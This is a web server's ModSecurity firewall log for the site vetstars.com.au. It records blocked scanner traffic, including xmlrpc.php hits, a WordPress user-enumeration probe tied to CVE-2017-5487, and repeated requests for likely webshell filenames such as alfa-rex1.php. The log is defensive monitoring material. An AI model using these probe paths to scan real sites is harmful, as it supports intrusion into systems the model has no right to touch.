[Mon Apr 13 01:38:08.244806 2026] [:error] [pid 31605:tid 31648] [client 34.121.61.166:50589] [client 34.121.61.166] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.121.61.166, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "advYgG9Py-Y-9VQ02eG-DAAAAAU"]
[Mon Apr 13 01:38:11.166214 2026] [:error] [pid 31605:tid 31654] [client 34.121.61.166:50589] [client 34.121.61.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "advYg29Py-Y-9VQ02eG-FQAAAAs"]
[Mon Apr 13 01:38:13.202449 2026] [:error] [pid 31605:tid 31645] [client 34.121.61.166:50589] [client 34.121.61.166] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.121.61.166, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "advYhW9Py-Y-9VQ02eG-GAAAAAI"]
[Mon Apr 13 01:44:09.132162 2026] [:error] [pid 31607:tid 31740] [client 117.33.163.216:56356] [client 117.33.163.216] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "advZ6Wjn_I-KYTWngjI0mwAAAIM"]
[Mon Apr 13 03:08:59.557155 2026] [:error] [pid 54671:tid 54678] [client 20.151.218.28:37878] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gt.php"] [unique_id "advty2yJMmaONUqF0tCpOQAAAQM"]
[Mon Apr 13 03:09:01.311503 2026] [:error] [pid 31607:tid 31740] [client 20.151.218.28:37840] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gt.php"] [unique_id "advtzWjn_I-KYTWngjJNHQAAAIM"]
[Mon Apr 13 03:09:03.035530 2026] [:error] [pid 31607:tid 31747] [client 20.151.218.28:37768] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gt.php"] [unique_id "advtz2jn_I-KYTWngjJNIQAAAIo"]
[Mon Apr 13 03:09:07.527207 2026] [:error] [pid 31607:tid 31758] [client 20.151.218.28:37780] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gt.php"] [unique_id "advt02jn_I-KYTWngjJNKwAAAJU"]
[Mon Apr 13 03:09:09.451573 2026] [:error] [pid 32010:tid 32034] [client 20.151.218.28:37771] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/datab"] [unique_id "advt1Q0nq-t9pXyV1fy9LAAAANY"]
[Mon Apr 13 03:09:11.090014 2026] [:error] [pid 32010:tid 32035] [client 20.151.218.28:37880] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/datab"] [unique_id "advt1w0nq-t9pXyV1fy9MgAAANc"]
[Mon Apr 13 03:09:14.367107 2026] [:error] [pid 32010:tid 32035] [client 20.151.218.28:37839] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/datab"] [unique_id "advt2g0nq-t9pXyV1fy9PgAAANc"]
[Mon Apr 13 03:09:16.275222 2026] [:error] [pid 31607:tid 31747] [client 20.151.218.28:37841] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/datab"] [unique_id "advt3Gjn_I-KYTWngjJNNAAAAIo"]
[Mon Apr 13 03:09:17.688829 2026] [:error] [pid 54671:tid 54679] [client 20.151.218.28:37849] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/js/sxx.php"] [unique_id "advt3WyJMmaONUqF0tCpbQAAAQQ"]
[Mon Apr 13 03:09:19.225292 2026] [:error] [pid 32010:tid 32019] [client 20.151.218.28:37882] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/js/sxx.php"] [unique_id "advt3w0nq-t9pXyV1fy9RgAAAMc"]
[Mon Apr 13 03:09:20.271009 2026] [:error] [pid 31605:tid 31651] [client 20.151.218.28:37864] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/js/sxx.php"] [unique_id "advt4G9Py-Y-9VQ02eHdtgAAAAg"]
[Mon Apr 13 03:09:21.226015 2026] [:error] [pid 54671:tid 54683] [client 20.151.218.28:37857] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/js/sxx.php"] [unique_id "advt4WyJMmaONUqF0tCpcAAAAQg"]
[Mon Apr 13 03:09:22.121400 2026] [:error] [pid 31606:tid 31706] [client 20.151.218.28:37847] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/r1.php"] [unique_id "advt4j9vCsshNhLmCiCNXQAAAEA"]
[Mon Apr 13 03:09:23.182006 2026] [:error] [pid 54671:tid 54677] [client 20.151.218.28:37886] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/r1.php"] [unique_id "advt42yJMmaONUqF0tCpdwAAAQI"]
[Mon Apr 13 03:09:24.144020 2026] [:error] [pid 54671:tid 54675] [client 20.151.218.28:37767] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/r1.php"] [unique_id "advt5GyJMmaONUqF0tCpeQAAAQA"]
[Mon Apr 13 03:09:25.349355 2026] [:error] [pid 31605:tid 31651] [client 20.151.218.28:37824] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/r1.php"] [unique_id "advt5W9Py-Y-9VQ02eHdwgAAAAg"]
[Mon Apr 13 03:09:25.992819 2026] [:error] [pid 31605:tid 31662] [client 20.151.218.28:37854] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rk1.php"] [unique_id "advt5W9Py-Y-9VQ02eHdxAAAABM"]
[Mon Apr 13 03:09:26.735111 2026] [:error] [pid 31605:tid 31646] [client 20.151.218.28:37792] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rk1.php"] [unique_id "advt5m9Py-Y-9VQ02eHdyQAAAAM"]
[Mon Apr 13 03:09:27.350355 2026] [:error] [pid 32010:tid 32016] [client 20.151.218.28:37872] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rk1.php"] [unique_id "advt5w0nq-t9pXyV1fy9UQAAAMQ"]
[Mon Apr 13 03:09:28.187160 2026] [:error] [pid 32010:tid 32031] [client 20.151.218.28:37861] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rk1.php"] [unique_id "advt6A0nq-t9pXyV1fy9UwAAANM"]
[Mon Apr 13 03:09:29.856530 2026] [:error] [pid 32010:tid 32015] [client 20.151.218.28:37887] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mah/xBrain.php"] [unique_id "advt6Q0nq-t9pXyV1fy9XQAAAMM"]
[Mon Apr 13 03:09:31.234477 2026] [:error] [pid 31606:tid 31721] [client 20.151.218.28:37874] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mah/xBrain.php"] [unique_id "advt6z9vCsshNhLmCiCNaAAAAE8"]
[Mon Apr 13 03:09:33.425790 2026] [:error] [pid 54671:tid 54684] [client 20.151.218.28:37834] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mah/xBrain.php"] [unique_id "advt7WyJMmaONUqF0tCppAAAAQk"]
[Mon Apr 13 03:09:37.199297 2026] [:error] [pid 31606:tid 31724] [client 20.151.218.28:37760] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mah/xBrain.php"] [unique_id "advt8T9vCsshNhLmCiCNdwAAAFI"]
[Mon Apr 13 03:09:39.228790 2026] [:error] [pid 54671:tid 54695] [client 20.151.218.28:37826] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pegi.PhP8"] [unique_id "advt82yJMmaONUqF0tCprwAAARQ"]
[Mon Apr 13 03:09:41.728045 2026] [:error] [pid 32010:tid 32012] [client 20.151.218.28:37855] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pegi.PhP8"] [unique_id "advt9Q0nq-t9pXyV1fy9aQAAAMA"]
[Mon Apr 13 03:09:42.889404 2026] [:error] [pid 54671:tid 54694] [client 20.151.218.28:37709] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pegi.PhP8"] [unique_id "advt9myJMmaONUqF0tCptgAAARM"]
[Mon Apr 13 03:09:44.031522 2026] [:error] [pid 31605:tid 31653] [client 20.151.218.28:37853] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pegi.PhP8"] [unique_id "advt-G9Py-Y-9VQ02eHd2wAAAAo"]
[Mon Apr 13 03:09:44.985045 2026] [:error] [pid 32010:tid 32032] [client 20.151.218.28:37848] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa-rex1.php"] [unique_id "advt-A0nq-t9pXyV1fy9bAAAANQ"]
[Mon Apr 13 03:09:46.374621 2026] [:error] [pid 31607:tid 31739] [client 20.151.218.28:37862] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa-rex1.php"] [unique_id "advt-mjn_I-KYTWngjJNXAAAAII"]
[Mon Apr 13 03:09:47.339175 2026] [:error] [pid 32010:tid 32014] [client 20.151.218.28:37774] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa-rex1.php"] [unique_id "advt-w0nq-t9pXyV1fy9bQAAAMI"]
[Mon Apr 13 03:09:48.113119 2026] [:error] [pid 54671:tid 54696] [client 20.151.218.28:37775] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa-rex1.php"] [unique_id "advt_GyJMmaONUqF0tCpuwAAARU"]
[Mon Apr 13 03:09:49.123041 2026] [:error] [pid 54671:tid 54692] [client 20.151.218.28:37871] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/suck.php"] [unique_id "advt_WyJMmaONUqF0tCpwwAAARE"]
[Mon Apr 13 03:09:50.386285 2026] [:error] [pid 54671:tid 54686] [client 20.151.218.28:37860] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/suck.php"] [unique_id "advt_myJMmaONUqF0tCpyAAAAQs"]
[Mon Apr 13 03:09:52.034827 2026] [:error] [pid 31605:tid 31651] [client 20.151.218.28:37696] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/suck.php"] [unique_id "advuAG9Py-Y-9VQ02eHd4gAAAAg"]
[Mon Apr 13 03:09:53.130606 2026] [:error] [pid 32010:tid 32028] [client 20.151.218.28:37764] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/suck.php"] [unique_id "advuAQ0nq-t9pXyV1fy9eAAAANA"]
[Mon Apr 13 03:09:54.390313 2026] [:error] [pid 31605:tid 31653] [client 20.151.218.28:37873] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hikudpno.php"] [unique_id "advuAm9Py-Y-9VQ02eHd5wAAAAo"]
[Mon Apr 13 03:09:56.378543 2026] [:error] [pid 31607:tid 31753] [client 20.151.218.28:37784] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hikudpno.php"] [unique_id "advuBGjn_I-KYTWngjJNYAAAAJA"]
[Mon Apr 13 03:10:10.311498 2026] [:error] [pid 54671:tid 54696] [client 20.151.218.28:37884] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zoo.php"] [unique_id "advuEmyJMmaONUqF0tCqAQAAARU"]
[Mon Apr 13 03:10:11.398112 2026] [:error] [pid 32010:tid 32028] [client 20.151.218.28:37825] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zoo.php"] [unique_id "advuEw0nq-t9pXyV1fy9jQAAANA"]
[Mon Apr 13 03:10:12.272310 2026] [:error] [pid 32010:tid 32026] [client 20.151.218.28:37876] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zoo.php"] [unique_id "advuFA0nq-t9pXyV1fy9lAAAAM4"]
[Mon Apr 13 03:10:13.474909 2026] [:error] [pid 32010:tid 32028] [client 20.151.218.28:37772] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zoo.php"] [unique_id "advuFQ0nq-t9pXyV1fy9mgAAANA"]
[Mon Apr 13 03:10:14.525033 2026] [:error] [pid 31607:tid 31745] [client 20.151.218.28:37817] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/4563.php"] [unique_id "advuFmjn_I-KYTWngjJNbwAAAIg"]
[Mon Apr 13 03:10:15.332344 2026] [:error] [pid 31605:tid 31652] [client 20.151.218.28:37790] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/4563.php"] [unique_id "advuF29Py-Y-9VQ02eHd-gAAAAk"]
[Mon Apr 13 03:10:16.556709 2026] [:error] [pid 31606:tid 31720] [client 20.151.218.28:37765] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/4563.php"] [unique_id "advuGD9vCsshNhLmCiCNsAAAAE4"]
[Mon Apr 13 03:10:17.540844 2026] [:error] [pid 54671:tid 54684] [client 20.151.218.28:37778] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/4563.php"] [unique_id "advuGWyJMmaONUqF0tCqDQAAAQk"]
[Mon Apr 13 03:10:19.180985 2026] [:error] [pid 54671:tid 54685] [client 20.151.218.28:37870] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wunaivpl.php"] [unique_id "advuG2yJMmaONUqF0tCqFgAAAQo"]
[Mon Apr 13 03:10:20.054646 2026] [:error] [pid 32010:tid 32020] [client 20.151.218.28:37703] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wunaivpl.php"] [unique_id "advuHA0nq-t9pXyV1fy9owAAAMg"]
[Mon Apr 13 03:10:21.485452 2026] [:error] [pid 54671:tid 54689] [client 20.151.218.28:37803] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wunaivpl.php"] [unique_id "advuHWyJMmaONUqF0tCqIAAAAQ4"]
[Mon Apr 13 03:10:22.517317 2026] [:error] [pid 54671:tid 54682] [client 20.151.218.28:37881] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wunaivpl.php"] [unique_id "advuHmyJMmaONUqF0tCqJwAAAQc"]
[Mon Apr 13 03:10:27.137145 2026] [:error] [pid 31605:tid 31652] [client 20.151.218.28:37851] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/reune.php"] [unique_id "advuI29Py-Y-9VQ02eHeBAAAAAk"]
[Mon Apr 13 03:10:27.757546 2026] [:error] [pid 32010:tid 32033] [client 20.151.218.28:37867] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/reune.php"] [unique_id "advuIw0nq-t9pXyV1fy9qQAAANU"]
